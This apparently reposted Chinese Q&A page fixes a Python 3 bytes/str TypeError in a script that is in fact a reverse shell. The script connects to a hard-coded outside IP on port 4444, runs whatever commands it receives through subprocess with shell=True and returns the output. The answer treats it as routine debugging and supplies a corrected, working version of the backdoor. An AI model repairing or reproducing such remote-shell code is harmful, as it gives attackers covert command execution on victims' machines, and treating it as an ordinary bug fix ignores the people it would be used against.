Python报错TypeError:需bytes-like对象而非str,请求技术协助
Python Socket 报错:TypeError: a bytes-like object is required, not 'str' 解决方法
问题代码
运行以下代码时触发类型错误:
#!/usr/bin/env python import socket import subprocess def execute_system_command(command): return subprocess.check_output(command, shell = True) connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connection.connect(("213.32.21.3", 4444)) connection.send("\n[+] Connection established. \n") while True: command = connection.recv(1024) command_result = execute_system_command(command) connection.send(command_result) connection.close()
错误原因
Python 3的Socket API要求send()/recv()操作的是字节对象(bytes),代码存在两处类型不匹配:
- 初始发送的
"\n[+] Connection established. \n"是字符串(str),不符合Socket的字节流要求 recv()返回字节对象,但subprocess.check_output()执行shell命令时需要传入字符串类型的命令
修复后的代码
#!/usr/bin/env python import socket import subprocess def execute_system_command(command): return subprocess.check_output(command, shell=True) connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connection.connect(("213.32.21.3", 4444)) # 发送字节类型的连接提示 connection.send(b"\n[+] Connection established. \n") try: while True: # 将接收的字节转成字符串,去除首尾空白 command = connection.recv(1024).decode().strip() if not command: continue # 执行命令得到字节结果,直接发送 command_result = execute_system_command(command) connection.send(command_result) except Exception as e: print(f"Error: {e}") finally: # 循环结束后再关闭连接 connection.close()
关键修改点
- 字符串转字节:用
b""前缀直接创建字节对象,或通过str.encode()方法转换 - 字节转字符串:用
bytes.decode()将Socket接收的字节数据转成字符串,满足shell命令的参数要求 - 调整
connection.close()位置:移出while循环,避免第一次执行就关闭连接导致循环终止 - 增加空命令判断:过滤无效的空输入,避免执行无意义的shell命令
内容的提问来源于stack exchange,提问作者danmikh
相关产品推荐
相关产品推荐

